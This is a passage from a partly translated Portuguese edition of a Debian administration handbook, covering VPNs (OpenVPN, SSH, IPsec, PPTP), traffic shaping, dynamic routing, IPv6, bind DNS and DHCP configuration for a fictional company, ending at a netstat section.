Com essa configuração, ao iniciar o OpenVPN, é criada uma interface de rede virtual, usualmente sob o nome de tun0. Contudo, firewalls são geralmente configurados ao mesmo tempo que interfaces de rede reais, o que acontece antes do OpenVPN ser iniciado. A boa prática então recomenda a criação de uma interface de rede virtual persistente, e configurar o OpenVPN para usar essa interface pré-existente. Isso inclusive permite a escolha do nome dessa interface. Para esse fim, openvpn --mktun --dev vpn --dev-type tun cria uma interface de rede virtual de nome vpn do tipo tun; esse comando pode ser facilmente integrado ao script de configuração do firewall, ou na diretiva up do arquivo /etc/network/interfaces, ou ainda uma regra udev pode ser adicionada com esta finalidade. O arquivo de configuração do OpenVPN deve também ser atualizado em conformidade com as diretivas dev vpn e dev-type tun.

Salvo ações posteriores, clientes VPN só podem acessar o próprio servidor VPN pelo caminho do endereço 10.8.0.1. Permitir que os clientes acessem a rede local (192.168.0.0/24) requer a adição da diretiva push route 192.168.0.0 255.255.255.0 na configuração do OpenVPN para que os clientes VPN automaticamente recebam o roteamento dizendo a eles que essa rede é alcançável através da VPN. Além do mais, máquinas na rede local também precisam ser informadas que a rota para a VPN passa pelo servidor VPN (isso funciona de maneira automática quando o servidor VPN é instalado no gateway). Alternativamente, o servidor VPN pode ser configurado para desempenhar um mascaramento IP, e assim as conexões vidas de clientes VPN aparecem com se elas viessem do servidor VPN (see Seção 10.1, “Gateway”).

10.3.1.2. Configurando o Cliente OpenVPN

Configurar um cliente OpenVPN também requer a criação de um arquivo de configuração em /etc/openvpn/. Uma configuração padrão pode ser obtida usando /usr/share/doc/openvpn/examples/sample-config-files/client.conf como ponto de partida. A diretiva remote vpn.falcot.com 1194 descreve o endereço e porta do servidor OpenVPN; ca, cert and key também precisam ser adaptadas para descrever a localização dos arquivos com as chaves.

Se a VPN não deve ser iniciada automaticamente na inicialização, configure a diretiva AUTOSTART para none no arquivo /etc/default/openvpn. Iniciar ou parar uma determinada conexão VPN é sempre possível com os comandos systemctl start openvpn@nome and systemctl stop openvpn@nome (em que a conexão nome casa com uma definida em /etc/openvpn/nome.conf).

The network-manager-openvpn-gnome package contains an extension to Network Manager (see Seção 8.2.5, “Configuração Automática de Rede para Usuários em Roaming”) that allows managing OpenVPN virtual private networks. This allows every user to configure OpenVPN connections graphically and to control them from the network management icon.

10.3.2. Rede Privada Virtual com SSH

Existem, na verdade, duas maneiras de criar uma rede virtual privada com SSH. A mais antiga envolve estabelecer uma camada PPP sobre uma ligação SSH. Esse método é descrito em um documento HOWTO:

→ https://www.tldp.org/HOWTO/ppp-ssh/

O segundo método é mais recente, e foi introduzido no OpenSSH 4.3; agora é possível para o OpenSSH criar interfaces de rede virtual (tun*) nos dois lados de uma conexão SSH, e essas interfaces virtuais podem ser configuradas exatamente como se elas fossem interfaces físicas. O sistema de túnel ("tunneling") deve ser primeiro ativado configurando PermitTunnel como “yes” no arquivo de configuração do servidor SSH (/etc/ssh/sshd_config). Ao estabelecer uma conexão SSH, a criação de um túnel deve ser explicitamente requisitada com a opção -w any:any (any pode ser substituída pelo desejado número de dispositivo tun). Isso requer que o usuário tenha privilégios de administrador nos dois lados, assim como ser capaz de criar o dispositivo de rede (em outras palavras, a conexão deve ser estabelecida como root).

Ambos os métodos para criação de rede virtual privada pelo SSH são bem simples. Contudo, a VPN que eles implementam não é a mais eficiente disponível, em particular, ela não lida muito bem com elevados níveis de tráfego.

A explicação é que quando uma pilha TCP/IP é encapsulada dentro de uma conexão TCP/IP (para SSH), o protocolo TCP é usado duas vezes, uma para a conexão SSH e outra dentro do túnel. Isso leva a problemas, especialmente devido ao modo como o TCP se adapta às condições da rede, alterando os atrasos de estouro de tempo. O seguinte sítio descreve o problema mais detalhadamente:

→ http://sites.inka.de/sites/bigred/devel/tcp-tcp.html

VPNs através de SSH deveriam, portanto, restringir-se a um túnel único sem nenhuma restrição de desempenho.

10.3.3. IPsec

IPsec, despite being the standard in IP VPNs, is rather more involved in its implementation. The IPsec engine itself is integrated in the Linux kernel; the required user-space parts, the control and configuration tools, are provided by the libreswan package or the strongswan package. Here we describe briefly the first of these options.

Primeiro instalamos o pacote libreswan. Em termos concretos, /etc/ipsec.conf do anfitrião contém os parâmetros para túneis IPsec (ou Security Associations, associações de segurança, na terminologia do IPsec) com os quais a máquina se ocupa. Existem muitos exemplos de configuração em /usr/share/doc/libreswan/, mas a documentação online do Libreswan tem mais exemplos com explicações:

→ https://libreswan.org/wiki/

O serviço IPsec pode ser controlado com systemctl; Por exemplo, systemctl start ipsecvai iniciar o serviço Ipsec.

Apesar do seu status como referência, a complexidade de criação de IPsec restringe seu uso na prática. As soluções baseadas em OpenVPN irão geralmente ser preferidas quando os necessários túneis não forem muitos ou não forem muito dinâmicos.

ATENÇÃO IPsec e NAT

IPsec e Firewalls que fazem NAT não funcionam bem juntos: como o IPsec assina os pacotes, qualquer alteração nesses pacotes que o firewall possa a vir fazer irá anular essa assinatura, e assim, os pacotes serão rejeitados em seu destino. Várias implementações incluem agora a técnica NAT-T (para NAT Traversal), o que basicamente encapsula o pacote IPsec dentro de um pacote UDP padrão.

SEGURANÇA IPsec e firewalls

O modo padrão de operação do IPsec envolve troca de dados pela porta UDP 500 para troca de chave (também pela porta UDP 4500 para o caso que o NAT-T esteja em uso). Além disso, os pacotes IPsec usam dois protocolos IP dedicados que o firewall tem que deixar passar; a recepção desses pacotes é baseada nos seus números de protocolo, 50 (ESP) e 51 (AH).

10.3.4. PPTP

PPTP (Point-to-Point Tunneling Protocol) usa dois canais de comunicação, um para controlar dados e um para dados de carga útil (payload); o último usa o protocolo GRE (Generic Routing Encapsulation). Um link PPP padrão é então configurado sobre o canal de troca de dados.

10.3.4.1. Configurando o Cliente

O pacote pptp-linux contém um cliente PPTP para Linux fácil de configurar. As instruções a seguir foram inspiradas na documentação oficial:

→ http://pptpclient.sourceforge.net/howto-debian.phtml

Os administradores da Falcot criaram vários arquivos: /etc/ppp/options.pptp, /etc/ppp/peers/falcot, /etc/ppp/ip-up.d/falcot, e /etc/ppp/ip-down.d/falcot.

Exemplo 10.2. O arquivo /etc/ppp/options.pptp

# PPP options used for a PPTP connection lock noauth nobsdcomp nodeflate

Exemplo 10.3. O arquivo /etc/ppp/peers/falcot

# vpn.falcot.com is the PPTP server pty "pptp vpn.falcot.com --nolaunchpppd" # the connection will identify as the "vpn" user user vpn remotename pptp # encryption is needed require-mppe-128 file /etc/ppp/options.pptp ipparam falcot

Exemplo 10.4. O arquivo /etc/ppp/ip-up.d/falcot

# Criar a rota para a rede Falcot if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network ip route add 192.168.0.0/24 dev $1 fi

Exemplo 10.5. O arquivo /etc/ppp/ip-down.d/falcot

# Deletar a rota para rede Falcot if [ "$6" = "falcot" ]; then # 192.168.0.0/24 is the (remote) Falcot network ip route del 192.168.0.0/24 dev $1 fi

SEGURANÇA MPPE

A segurança do PPTP envolve o uso do recurso MPPE (Microsoft Point-to-Point Encryption), o qual está disponível nos núcleos oficiais Debian como módulo.

10.3.4.2. Configurando o Servidor

ATENÇÃO PPTP e firewalls

Firewalls intermediários precisam ser configurados para deixar passar pacotes IP que usam protocolo 47 (GRE). Além do mais, a porta do servidor PPTP 1723 precisa estar aberta para que a comunicação pelo canal possa acontecer.

pptpd é o servidor PPTP para Linux. Seu principal arquivo de configuração, /etc/pptpd.conf, requer muito poucas alterações: localip (endereço IP local) e remoteip (endereço IP remoto). No exemplo abaixo, o servidor PPTP sempre usa o endereço 192.168.0.199, e os clientes PPTP recebem endereços IP entre 192.168.0.200 e 192.168.0.250.

Exemplo 10.6. O arquivo /etc/pptpd.conf

[..] # TAG: localip # TAG: remoteip # Specifies the local and remote IP address ranges. # # These options are ignored if delegate option is set. # # Any addresses work as long as the local machine takes care of the # routing. But if you want to use MS-Windows networking, you should # use IP addresses out of the LAN address space and use the proxyarp # option in the pppd options file, or run bcrelay. # # You can specify single IP addresses seperated by commas or you can # specify ranges, or both. For example: # # 192.168.0.234,192.168.0.245-249,192.168.0.254 # # IMPORTANT RESTRICTIONS: # # 1. No spaces are permitted between commas or within addresses. # # 2. If you give more IP addresses than the value of connections, # it will start at the beginning of the list and go until it # gets connections IPs. Others will be ignored. # # 3. No shortcuts in ranges! ie. 234-8 does not mean 234 to 238, # you must type 234-238 if you mean this. # # 4. If you give a single localIP, that's ok - all local IPs will # be set to the given one. You MUST still give at least one remote # IP for each simultaneous client. # # (Recommended) #localip 192.168.0.1 #remoteip 192.168.0.234-238,192.168.0.245 # or #localip 192.168.0.234-238,192.168.0.245 #remoteip 192.168.1.234-238,192.168.1.245 localip 192.168.0.199 remoteip 192.168.0.200-250

A configuração PPP usada pelo servidor PPTP também requer algumas mudanças em /etc/ppp/pptpd-options. Os parâmetros importantes são o nome do servidor (pptp), o nome de domínio (falcot.com), e o endereço IP para os servidores DNS e WINS.

Exemplo 10.7. O arquivo /etc/ppp/pptpd-options

# Enable connection debugging facilities. # (see your syslog configuration for where pppd sends to) #debug # Name of the local system for authentication purposes # (must match the second field in /etc/ppp/chap-secrets entries) name pptpd # Optional: domain name to use for authentication ## change the domainname to your local domain domain falcot.com # Authentication ## these are reasonable defaults for WinXXXX clients ## for the security related settings auth refuse-pap refuse-chap refuse-mschap # Require the peer to authenticate itself using MS-CHAPv2 [Microsoft # Challenge Handshake Authentication Protocol, Version 2] authentication. require-mschap-v2 # Require MPPE 128-bit encryption # (note that MPPE requires the use of MSCHAP-V2 during authentication) require-mppe-128 # Network and Routing ## Fill in your addresses ms-dns 192.168.0.1 ms-wins 192.168.0.1 ## Fill in your netmask netmask 255.255.255.0 ## some defaults nodefaultroute proxyarp lock

O último passo envolve o registro do usuário vpn (e senha correspondente) no arquivo /etc/ppp/chap-secrets. Ao contrário de outras instâncias onde um asterisco (*) funcionaria, o nome do servidor tem que ser preenchido explicitamente aqui. Além do mais, clientes PPTP em Windows são identificados sob a forma DOMÍNIO\\USUÁRIO, ao invés de apenas fornecer um nome de usuário. Isso explica o porque do arquivo também mencionar o usuário FALCOT\\vpn. Também é possível especificar um endereço IP individual para usuários; um asterisco neste campo especifica que endereços dinâmicos devem ser usados.

Exemplo 10.8. O arquivo /etc/ppp/chap-secrets

# Secrets for authentication using CHAP # client server secret IP addresses vpn pptp f@Lc3au * FALCOT\\vpn pptp f@Lc3au *

SEGURANÇA Vulnerabilidades PPTP

A primeira implementação do PPTP da Microsoft atraiu severas críticas porque ela tinha várias vulnerabilidades de segurança; a maioria foi, desde então, consertada em versões mais recentes. A configuração documentada nestas seção usa a última versão do protocolo. Esteja ciente então de que removendo algumas das opções (como require-mppe-128 e require-mschap-v2) fará com que o serviço fique vulnerável novamente.

10.4. Qualidade do Serviço

10.4.1. Princípio e Mecanismo

Quality of Service (ou QoS para abreviar) se refere a um conjunto de técnicas que garantem ou melhoram a qualidade do serviço fornecido às aplicações. A mais popular dessas técnicas envolve a classificação o tráfego de rede em categorias, e à diferenciação ao manejar esse tráfego de acordo com a categoria a qual ele pertence. A principal aplicação desse conceito de diferenciação de serviços é traffic shaping, o qual limita a taxa de transmissão de dados para conexões relacionadas a algum serviço e/ou máquinas (hosts) para que não haja saturação da largura de banda disponível e deixe outros importantes serviços sem nada. Traffic shaping se encaixa bem particularmente no tráfego TCP, já que esse protocolo se adapta automaticamente a largura de banda disponível.

CULTURA Neutralidade da rede e qualidade de serviço (QoS)

Neutrailidade de rede é alcançada como os provedores de serviço de Internet tratão todas as comunicações na Internet de forma igualitária, isto é, sem nenhuma limitação de acesso baseado no conteúdo, usuário, página, endereço de destino, etc.

Qualidade de serviĩço pode ser implementada em uma rede de Internet neutra, mas apenas se os provedores de serviço da Internet não cobrarem taxas especiais por um serviço de maior qualidade.

Também é possível alterar as prioridades do tráfego, o que permite priorizar pacotes relacionados a serviços de interação (como o ssh e o telnet) ou a serviços que lidam apenas com pequenos blocos de dados.

Os núcleos Debian incluem os recursos necessários para o QoS junto com seus módulos associados. Esses módulos são muitos, e cada um deles provê um serviço diferente, principalmente por meio de agendamentos especiais para as filas de pacotes IP; a ampla gama de comportamentos do agendador disponível abrange todos os possíveis requisitos.

CULTURA LARTC — Roteamento avançado e controle de tráfego do Linux

O HOWTO Linux Advanced Routing & Traffic Control é o documento de referencia que cobre tudo que se deve saber sobre serviço de qualidade de rede.

→ https://www.lartc.org/howto/

10.4.2. Configurando e implementando

Os parâmetros do QoS são configurados através do comando tc (fornecido pelo pacote iproute). Como sua interface é bem complexa, o uso de ferramentas de alto nível é recomendado.

10.4.2.1. Reduzindo Latências: wondershaper

O principal propósito do wondershaper (em pacote de nome similar) é minimizar latências independente da carga da rede. Isso é alcançado limitando o total de tráfego para um valor que seja pouco abaixo do valor de saturação do link.

Once a network interface is configured, setting up this traffic limitation is achieved by running wondershaper interface download_rate upload_rate. The interface can be enp1s0, eth0 or ppp0 for example, and both rates are expressed in kilobits per second. The wondershaper remove interface command disables traffic control on the specified interface.

For an Ethernet connection, historically this script would be called right after the interface is configured. This is done by adding up and down directives to the /etc/network/interfaces file allowing declared commands to be run, respectively, after the interface is configured and before it is deconfigured. Or in the PPP case, creating a script that calls wondershaper in /etc/ppp/ip-up.d/ will enable traffic control as soon as the connection is up. Below is an example using this first method:

Exemplo 10.9. Mudanças no arquivo /etc/network/interfaces

iface eth0 inet dhcp up /sbin/wondershaper eth0 500 100 down /sbin/wondershaper remove eth0

INDO ALÉM Configuração ideal

O arquivo /usr/share/doc/wondershaper/README.Debian.gz descreve, com alguns detalhes, o método de configuração recomendado pelo mantenedor do pacote. Em particular, ele aconselha a medição da velocidade de download e upload a fim de melhor avaliar os limites reais.

10.4.2.2. Configuração Padrão

Barring a specific QoS configuration, the Linux kernel uses the pfifo_fast queue scheduler, which provides a few interesting features by itself. The priority of each processed IP packet is based on the DSCP field (Differentiated Services Code Point) of this packet; modifying this 6-bit field is enough to take advantage of the scheduling features. Refer to https://en.wikipedia.org/wiki/Differentiated_services#Class_Selector for more information.

O campo DSCP pode ser configurado por aplicações que geram pacotes IP, ou modificado em tempo de execução pelo netfilter. As regras a seguir são suficientes para aumentar a capacidade de resposta para o serviço de um servidor SSH, observe que o campo DSCP deve ser definido em hexadecimal:

nft add table ip mangle nft add rule ip mangle PREROUTING tcp sport 22 counter ip dscp set 0x04 nft add rule ip mangle PREROUTING tcp dport 22 counter ip dscp set 0x04

10.5. Roteamento Dinâmico

The reference tool for dynamic routing is currently frr from the similarly-named package; it used to be quagga, and before that zebra until development of these stopped. However, frr kept the names of the programs for compatibility reasons which explains the zebra commands below.

DE VOLTA AO BÁSICO Roteamento dinâmico

O roteamento dinâmico permite que os roteadores ajustem, em tempo real, os caminhos usados para transmitir pacotes IP. Cada protocolo envolve um método próprio para definir rotas (caminhos mais curtos, usam rotas anunciadas pelos pares, e assim por diante).

No núcleo Linux, uma rota "liga" um dispositivo de rede a um conjunto de máquinas que podem ser alcançadas através desse dispositivo. O comando ip, quando route é utilizado como primeiro argumento, define novas rotas e exibe as existentes. O comando route era usado para esse propósito, mas foi descontinuado em favor do ip.

FRR (FRRouting) is a set of daemons cooperating to define the routing tables to be used by the Linux kernel; each routing protocol (most notably BGP, OSPF and RIP) provides its own daemon(s). The zebra and staticd daemons, which are always started, collect information from other daemons and handle static routing tables accordingly. The other daemons are known as bgpd, ospfd, ospf6d, ripd, ripngd, isisd, etc.

Daemons are enabled by creating the /etc/frr/daemon.conf config file, daemon being the name of the daemon to use, and editing the /etc/frr/daemons configuration file. The daemon config file must belong to the frr user and group with permissions of 0640 in order for the /etc/init.d/frr script or the frr.service systemd service file to invoke the daemon. The package frr provides configuration examples under /usr/share/doc/frr/examples/.

The configuration of each of these daemons requires knowledge of the routing protocol in question. These protocols cannot be described in detail here, but frr-doc provides ample explanation in the form of both info and HTML files. The same contents may be more browsed on the project's website:

→ http://docs.frrouting.org/en/latest/

In addition, the syntax is very close to a standard router's configuration interface, and network administrators will adapt quickly to frr.

NA PRÁTICA OSPF, BGP ou RIP?

OSPF (Open Shortest Path First) é geralmente o melhor protocolo a se usar para roteamento dinâmico em redes privadas, mas o BGP (Border Gateway Protocol) é mais comum para o amplo roteamento da Internet. RIP (Routing Information Protocol) é bem antigo, e raramente usado.

10.6. IPv6

IPv6, successor to IPv4, is a newer version of the IP protocol designed to fix its flaws, most notably the scarcity of available IP addresses. This protocol handles the network layer; its purpose is to provide a way to address machines, to convey data to their intended destination, and to handle data fragmentation if needed (in other words, to split packets into chunks with a size that depends on the network links to be used on the path and to reassemble the chunks in their proper order on arrival).

Os núcleos Debian incluem o manejo do IPv6 no "core" do núcleo (com exceção de algumas arquiteturas que tem esse suporte compilado como um módulo de nome ipv6). Ferramentas básicas como ping e traceroute tem seu equivalente IPv6 como ping6 e traceroute6, disponíveis, respectivamente, nos pacotes iputils-ping e iputils-tracepath.

A rede IPv6 é configurada de maneira similar a IPv4, em /etc/network/interfaces. Mas se você quer que a rede esteja disponível globalmente, você tem que garantir que você tenha um roteador de retransmissão de tráfego IPv6 com capacidade para a rede IPv6 global.

Exemplo 10.10. Exemplo de configuração IPv6

iface enp7s0 inet6 static address 2001:db8:1234:5::1:1/64 # Disabling auto-configuration # autoconf 0 # The router is auto-configured and has no fixed address # (accept_ra 1). If it had: # gateway 2001:db8:1234:5::1

Sub-redes IPv6 geralmente tem uma máscara de rede de 64 bits. Isso significa que endereços distintos 2⁶⁴ existem dentro da sub-rede. Isso permite a "Stateless Address Autoconfiguration" (SLAAC) pegar um endereço baseando-se no endereço MAC da interface de rede. Por padrão, se SLAAC estiver ativada em sua rede e o IPv6 em seu computador, o núcleo irá automaticamente encontrar os roteadores IPv6 e configurar as interfaces de rede.

This behavior may have privacy implications. If you switch networks frequently, e.g. with a laptop, you might not want your MAC address being a part of your public IPv6 address. This makes it easy to identify the same device across networks. A solution to this are IPv6 privacy extensions (which Debian enables by default if IPv6 connectivity is detected during initial installation), which will assign an additional randomly generated address to the interface, periodically change them and prefer them for outgoing connections. Incoming connections can still use the address generated by SLAAC. The following example, for use in /etc/network/interfaces, activates these privacy extensions for the interface enp7s0.

Exemplo 10.11. Extensões de privacidade IPv6

iface enp7s0 inet6 auto # Prefer the randomly assigned addresses for outgoing connections. privext 2

DICA Programas construídos com IPv6

Muitas aplicações precisam ser adaptadas para lidar com IPv6. A maioria dos pacotes no Debian já foram adaptados, mas não todos. Se o seu pacote favorito ainda não funciona com IPv6, você pode pedir ajuda na lista de email debian-ipv6. Eles podem saber sobre a substituição IPv6 consciente e podem reportar um bug para ter o assunto rastreado de maneira apropriada.

→ https://lists.debian.org/debian-ipv6/

Conexões IPv6 podem ser restringidas de forma similar as IPv4. nftpode ser utilizado para criar regras de firewall para IPv4 e IPv6 (consulte Seção 14.2.3, “Sintaxe do ntf”).

10.6.1. Túneis

ATENÇÃO Tunelamento IPv6 e firewalls

O encapsulamento do IPv6 sobre o IPv4 (ao contrário do IPv6 nativo) requer que o firewall aceite o tráfego, o qual usa o protocolo número 41 do IPv4.

Se uma conexão IPv6 nativa não está disponível, o método de recuperação (fallback) é usar o encapsulamento sobre o IPv4. Hurricane Electric é um fornecedor (livre) desses encapsulamentos:

→ https://tunnelbroker.net

Para utilizar um túnel Hurricane Electric, você precisa registrar uma conta, acessá-la, selecionar um túnel livre e editar o arquivo/etc/network/interfaces com o código gerado.

Você pode instalar e configurar o daemon radvd (do pacote com nome similar) se você quiser usar o computador configurado como um roteador para uma rede local. Esse daemon de configuração IPv6 desempenha papel similar ao do dhcpd no mundo IPv4.

O arquivo de configuração /etc/radvd.conf deve então ser criado (veja /usr/share/doc/radvd/examples/simple-radvd.conf como um ponto de partida). No nosso caso, a única alteração necessária é o prefixo, o qual precisa se substituído pelo fornecido pela Hurricane Electric; ele pode ser encontrado na saída do comando ip a no bloco referente à interface he-ipv6.

Então execute systemctl start radvd. A rede IPv6 deve funcionar agora.

10.7. Servidores de Nomes de Domínio (DNS)

The Domain Name Service (DNS) is a fundamental component of the Internet: it maps host names to IP addresses (and vice-versa), which allows the use of www.debian.org instead of 130.89.148.77 or 2001:67c:2564:a119::77.

O registros do DNS são organizados em zonas; cada zona coincide com um domínio (ou um subdomínio) ou um intervalo de endereço IP (já que endereços IP são geralmente alocados em intervalos consecutivos). Um servidor primário tem autoridade sobre o conteúdo de uma zona; servidores secundários, geralmente hospedados em máquinas separadas, fornecem regularmente cópias atualizadas da zona primária.

Cada zona pode conter registros de vários tipos (Resource Records), estes são alguns dos mais comuns:

A (address record): IPv4 address. This is the most common form to point a domain to an IPv4 address.

CNAME (canonical name record): alias

MX (mail exchange): an email server. This information is used by other email servers to find where to send email addressed to a given address. Each MX record has a priority. The highest-priority server (with the lowest number) is tried first (see sidebar DE VOLTA AO BÁSICO SMTP); other servers are contacted in order of decreasing priority if the first one does not reply.

PTR (pointer): mapping of an IP address to a name. Such a record is stored in a “reverse DNS” zone named after the IP address range. For example, 1.168.192.in-addr.arpa is the zone containing the reverse mapping for all addresses in the 192.168.1.0/24 range.

AAAA (IPv6 address record): IPv6 address.

NS (name server): maps a name to a name server. Each domain must have at least one NS record. These records point at a DNS server that can answer queries concerning this domain; they usually point at the primary and secondary servers for the domain. These records also allow DNS delegation; for instance, the falcot.com zone can include an NS record for internal.falcot.com, which means that the internal.falcot.com zone is handled by another server. Of course, this server must declare an internal.falcot.com zone.

10.7.1. Software DNS

The reference name server, Bind, was developed and is maintained by ISC (the Internet Software Consortium). It is provided in Debian by the bind9 package. Version 9 brings two major changes compared to previous versions. First, the DNS server can now run under an unprivileged user, so that a security vulnerability in the server does not grant root privileges to the attacker (as was seen repeatedly with versions 8.x).

Além do mais, o Bind suporta o padrão DNSSEC para assinar (e portanto autenticar) registros DNS, o que permite bloquear qualquer falsificação ("spoofing") de seus dados durante ataques "man-in-the-middle".

CULTURA DNSSEC

A norma DNSSEC é bem complexa; isso explica um pouco porque ela ainda não é amplamente usada (mesmo que ela coexista perfeitamente com servidores DNS que não estejam cientes da DNSSEC). Para entender todos os meandros, você deveria ver o seguinte artigo.

→ https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

10.7.2. Configurando bind

Arquivos de configuração para o bind, independente da versão, têm a mesma estrutura.

Os administradores da Falcot criaram uma zona primária falcot.com para armazenar informações relacionadas a este domínio, e uma zona 168.192.in-addr.arpa para mapeamento reverso de endereços IP na rede local.

ATENÇÃO Nomes de zonas inversas

Zonas reversas tem um nome particular. A zona que cobre a rede 192.168.0.0/16 precisa ser nomeada como 168.192.in-addr.arpa: os componentes do endereço IP são invertidos, e seguidos pelo sufixo in-addr.arpa.

Para redes IPv6, o sufixo é ip6.arpa e os componentes do endereço IP os quais são invertidos são cada caractere de toda a representação hexadecimal do endereço IP. Como por exemplo, a rede 2001:0bc8:31a0::/48 iria usar uma zona de nome 0.a.1.3.8.c.b.0.1.0.0.2.ip6.arpa.

DICA Testando o servidor DNS

O comando host (do pacote bind9-host) faz pesquisa em um servidor DNS, e pode ser usado para testar a configuração do servidor. Por exemplo, host machine.falcot.com localhost checa a resposta do servidor local para a pesquisa por machine.falcot.com. host ipaddress localhost testa a resolução reversa.

Os seguintes trecho de configuração, tirados dos arquivos da Falcot, podem servir como ponto de partida para configurar um servidor DNS:

Exemplo 10.12. Trecho do /etc/bind/named.conf.local

zone "falcot.com" { type master; file "/etc/bind/db.falcot.com"; allow-query { any; }; allow-transfer { 195.20.105.149/32 ; // ns0.xname.org 193.23.158.13/32 ; // ns1.xname.org }; }; zone "internal.falcot.com" { type master; file "/etc/bind/db.internal.falcot.com"; allow-query { 192.168.0.0/16; }; }; zone "168.192.in-addr.arpa" { type master; file "/etc/bind/db.192.168"; allow-query { 192.168.0.0/16; }; };

Exemplo 10.13. Trecho do /etc/bind/db.falcot.com

; falcot.com Zone ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; ; The @ refers to the zone name ("falcot.com" here) ; or to $ORIGIN if that directive has been used ; @ IN NS ns @ IN NS ns0.xname.org. internal IN NS 192.168.0.2 @ IN A 212.94.201.10 @ IN MX 5 mail @ IN MX 10 mail2 ns IN A 212.94.201.10 mail IN A 212.94.201.10 mail2 IN A 212.94.201.11 www IN A 212.94.201.11 dns IN CNAME ns

ATENÇÃO Sintaxe de um nome

A sintaxe de nomes de máquina seguem regras rígidas. Por exemplo, machine tem que ser machine.domain. Se o nome de domínio não deve ser anexado ao nome, o dito nome tem que ser escrito como machine. (com o ponto como sufixo). Indicar um nome DNS fora do domínio corrente entretanto requer uma sintaxe como machine.otherdomain.com. (com o ponto final).

Exemplo 10.14. Trecho do /etc/bind/db.192.168

; Reverse zone for 192.168.0.0/16 ; admin.falcot.com. => zone contact: admin@falcot.com $TTL 604800 @ IN SOA ns.internal.falcot.com. admin.falcot.com. ( 20040121 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL IN NS ns.internal.falcot.com. ; 192.168.0.1 -> arrakis 1.0 IN PTR arrakis.internal.falcot.com. ; 192.168.0.2 -> neptune 2.0 IN PTR neptune.internal.falcot.com. ; 192.168.3.1 -> pau 1.3 IN PTR pau.internal.falcot.com.

10.8. DHCP

DHCP (para Dynamic Host Configuration Protocol) é um protocolo pelo qual uma máquina pode receber automaticamente sua configuração de rede no momento de inicialização. Isso permite centralizar o gerenciamento de configuração de uma rede, e garante que todas as máquinas recebam configurações similares.

Um servidor DHCP provê muitos parâmetros relacionados a redes. O mais comum desses é um endereço IP e a rede a qual a máquina pertence, mas ele também pode prover outras informações, como servidores DNS, servidores WINS, servidores NTP, e assim por diante.

A Internet Software Consortium (também envolvida no desenvolvimento do bind) é a principal autora do servidor DHCP. O pacote Debian correspondente é o isc-dhcp-server.

10.8.1. Configurando

Os primeiros elementos que precisam ser editados nos arquivos de configuração de um servidor DHCP (/etc/dhcp/dhcpd.conf e /etc/dhcp/dhcpd6.conf para IPv6) são o nome de domínio e os servidores DNS. Se esse servidor é o único na rede local (como definido pela propagação broadcast), a diretiva authoritative também tem que ser ativada (ou descomentada). Também é necessário criar uma seção subnet descrevendo a rede local e a informação de configuração a ser fornecida. O exemplo a seguir descreve uma rede local 192.168.0.0/24 com um roteador em 192.168.0.1 servindo de gateway. Endereços IP disponíveis estão no intervalo de 192.168.0.128 até 192.168.0.254.

Exemplo 10.15. Trecho do /etc/dhcp/dhcpd.conf

# # Sample configuration file for ISC dhcpd for Debian # # The ddns-updates-style parameter controls whether or not the server will # attempt to do a DNS update when a lease is confirmed. We default to the # behavior of the version 2 packages ('none', since DHCP v2 didn't # have support for DDNS.) ddns-update-style interim; # option definitions common to all supported networks... option domain-name "internal.falcot.com"; option domain-name-servers ns.internal.falcot.com; default-lease-time 600; max-lease-time 7200; # If this DHCP server is the official DHCP server for the local # network, the authoritative directive should be uncommented. authoritative; # Use this to send dhcp log messages to a different log file (you also # have to hack syslog.conf to complete the redirection). log-facility local7; # My subnet subnet 192.168.0.0 netmask 255.255.255.0 { option routers 192.168.0.1; option broadcast-address 192.168.0.255; range 192.168.0.128 192.168.0.254; ddns-domainname "internal.falcot.com"; }

10.8.2. DHCP e DNS

Um recurso legal é o registro automatizado de clientes DHCP em uma zona DNS, para que cada máquina receba um nome significativo (ao invés de alguma coisa impessoal como machine-192-168-0-131.internal.falcot.com). Usar esse recurso requer a configuração do servidor DNS para aceitar atualizações para a zona DNS internal.falcot.com a partir do servidor DHCP, e configurar esse último para submeter atualizações para cada registro.

No caso do bind (veja Seção 10.7.1, “Software DNS”), a diretiva allow-update precisa ser adicionada a cada uma das zonas que o servidor DHCP deve editar (uma para o domínio internal.falcot.com, e uma para a zona reversa). Essa diretiva lista o endereço IP que tem permissão para realizar essas atualizações; ela deve então conter os possíveis endereços do servidor DHCP (tanto o endereço local quanto o endereço público, se apropriado).

allow-update { 127.0.0.1 192.168.0.1 212.94.201.10 !any };

Esteja atento! Uma zona que pode ser modificada será alterada pelo bind, e esse último irá sobrescrever seus arquivos de configuração em intervalos regulares. Como esse procedimento automatizado produz arquivos que são menos legíveis por humanos que os escritos manualmente, os administradores da Falcot lidam com o domínio internal.falcot.com com um servidor DNS delegado; isso significa que o arquivo de zona falcot.com continua firmemente sob controle manual.

O trecho da configuração do servidor DHCP acima inclui as diretivas necessárias para atualização da zona DNS: elas são as linhas ddns-update-style interim; e ddns-domain-name "internal.falcot.com";.

10.9. Ferramentas de Diagnóstico de Rede

When a network application does not run as expected, it is important to be able to look under the hood. Even when everything seems to run smoothly, running a network diagnosis can help ensure everything is working as it should. Several diagnosis tools exists for this purpose; each one operates on a different level. It would go beyond the scope of this book to discuss all tools, so we will focus on the more well-known and commonly used tools in the following sections.

10.9.1. Diagnóstico Local: netstat

Vamos primeiro mencionar o comando netstat (do pacote net-tools); ele exibe um sumário momentâneo da atividade de rede da máquina. Quando invocado sem argumentos, esse comando lista todas as conexões abertas; essa lista pode ser bem longa já que inclui muitos soquetes Unix-domain (amplamente usados por daemons) que não tem nada a ver com redes (por exemplo, comunicação dbus, tráfego X11 e comunicações entre sistema de arquivos virtuais e o desktop).

Invocações comuns entretanto usam opções que alteram o comportamento do netstat. As opções mais comumente usadas são:

-t, que filtra os resultados para incluir apenas conexões TCP;

-u, que funciona de maneira similar para conexões UDP; essas opções não são mutuamente exclusivas, e uma delas é suficiente para parar de exibir conexões Unix-domain;

-a, para também listar soquetes ativos (esperando por conexões de entrada);

-n, para exibir os resultados com números: endereço IP (sem resolução DNS), números de porta (sem as aliases como definidas em /etc/services) e ids de usuários (sem nomes de login);

-p, para listar os processos envolvidos; essa opção só é útil quando o netstat é executado como root, já que usuários normais apenas verão seus próprios processos;

